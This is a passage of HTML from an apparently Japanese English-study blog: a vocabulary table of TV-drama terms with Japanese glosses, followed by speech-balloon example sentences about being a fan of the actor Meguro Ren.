<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>big hit</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ビッグヒット、超人気作品</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>on trend</strong></td>
<td style="width: 62.9762%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">トレンドになる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to rewatch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">再度見る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 24px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to erase</strong></td>
<td style="width: 62.9762%; height: 24px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">削除する、消す</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>without asking</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の断りなしに</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pastime</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">娯楽、楽しみ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to record</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を録画する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to set the machine to record</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を録画予約する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to apply to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に応募する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>extra </strong><br /><strong>background actor</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">エキストラ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to appear as</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜として登場する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to love ＋ 動名詞</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜するのが大好きだ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to start ＋ 動名詞</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜し始める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to get hooked on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to prefer</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を好む</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>TV drama </strong><br /><strong>drama series</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">複数のエピソードからなる連続テレビドラマ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>TV show</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ドラマを含むショー的要素を含むテレビ番組。TV showでドラマとして通じます</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">
<p><strong>soap opera</strong></p>
</td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">連続的なストーリーラインを持つテレビやラジオのドラマシリーズ。メロドラマ。かつてアメリカでは石鹸会社がスポンサーだったことが名前の由来</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>miniseries</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">数話で完結する短いテレビドラマ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sitcom</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">コメディの一種。Situation Comedyの略。観客の笑い声が入ったコメディドラマなど</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>romcom</strong><br /><strong>rom-com</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ロマンティック・コメディ。romantic comedyの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>horror</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ホラー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong><span class="ILfuVd" lang="ja"><span class="hgKElc">suspense</span></span></strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">サスペンス</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>action</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">アクション</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>crime</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">犯罪</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>historical</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">歴史</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>science fiction</strong><br /><strong>SF</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">社会的に科学要素や想像上の衝撃を含むファンタジー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>romance</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">恋愛</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cliffhanger</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">エピソードやシーズンの最終話で視聴者を次回への期待感で惹きつけるような緊迫した結末</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>rerun</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">再放送</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>season</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">シーズン。米国のテレビ番組が1年間のうちある期間に放送される際の、エピソードのセット。日本では期。クールは、フランス語で、約3ヶ月間に放送するTV番組の放送回数の単位</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>season finale</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">米国のテレビドラマのシーズンの最終エピソード。重要なストーリーが結末したり、次シーズンへの伏線が張られます</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>spin-off</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">既存テレビドラマから派生した新しいシリーズや作品</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pilot episode</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">アメリカで行われる試験的放送。１話のことを指すことも</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>binge-watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（スラング）主にテレビドラマや映画などを何時間も連続して視聴し続けること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>marathon-watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">特定のテレビ番組や映画シリーズを連続して見ること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>power-watch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">限られた時間内で最大限のエピソード数や映画を見るために高速で視聴すること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>in one go</strong><br /><strong>in one sitting </strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">時間がかかること、複数の処理を一度でで終わらせる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>start filming</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">クランクイン、撮影開始。クランクインは和製英語</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>finish filming</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">クランクアップ、撮影終了。クランクアップは和製英語</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to tend to ＋ 動詞原形</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜する傾向にある</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>concise</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">簡潔でわかりやすい</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:63px;height:auto"/></figure>



<h2 class="wp-block-heading"><strong>めめに沼落ち！もっと推し活頑張ろう！！</strong></h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-2742" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?w=2560&amp;ssl=1 2560w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=600%2C337&amp;ssl=1 600w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=1536%2C863&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=2048%2C1151&amp;ssl=1 2048w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?resize=678%2C381&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/anthony-delanoix-hzgs56Ze49s-unsplash-edited-scaled.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>サイレントを見て目黒蓮さんに沼落ちした人も多いはず。「海のはじまり」でも彼の魅力に取り憑かれる人も続出するでしょう。そこで、日本語独特の表現「沼落ち」を英語で語ってみましょう。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m big fan of Ren.</strong><br>俺って蓮の大ファンなんだよね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffdde5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffdde5"></span><span class="vk_balloon_content_after "></span>
<p><strong>I deeply in loved with her.</strong><br>めめに沼落ちした</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e3eeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;m into his voice. I love his songs, too.</strong><br>私は彼の声にはまったの。歌も大好きなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6d4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe6d4"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m crazy about Ren.</strong><br>蓮のことがめちゃくちゃ好き</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#edffed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #edffed transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m so hooked on “Umi no Hajimari”.</strong><br>「海のはじまり」にもう夢中なの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fee7e7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fee7e7"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m addicted to Ren. I couldn&#8217;t find my way out!</strong><br>蓮中毒よ！どうしたらいいかわからない！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebdcfa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ebdcfa transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m obsessed with Ren!</strong><br>蓮のことしか考えられない！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dfeaff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #dfeaff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I love Ren, I&#8217;ve really fallen down the rabbit hole watching ”silent”. </strong><br>「サイレント」見てたら蓮に超ハマってしまったの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9fff1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d9fff1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Meme’s my fave!</strong><br>私はめめ推しなの！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe5d2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe5d2"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren is so precious!</strong><br>蓮ってすごく尊いの！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#eeddff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #eeddff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Meme gave me perfect reaction.</strong><br>めめって神対応だったわ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2f8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe2f8"></span><span class="vk_balloon_content_after "></span>
<p><strong>The whole world is obsessed with you, Ren.</strong><br>蓮、世界中があなたの虜よ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0f3ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0f3ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Meme is stunningly handosome.</strong><br>めめって息が止まるほどハンサムね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9fff0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d9fff0"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren is drop-dead gorgeous!</strong><br>蓮てば、びっくりするくらいゴージャスね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren has killer looks!</strong><br>蓮ってすごくかっこいい！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_young_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffdbdb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffdbdb"></span><span class="vk_balloon_content_after "></span>
<p><strong>Having a fave is good for your health and beauty.</strong><br>推しの存在は健康にも美容にもいいのよ</p>
</div></div></div>



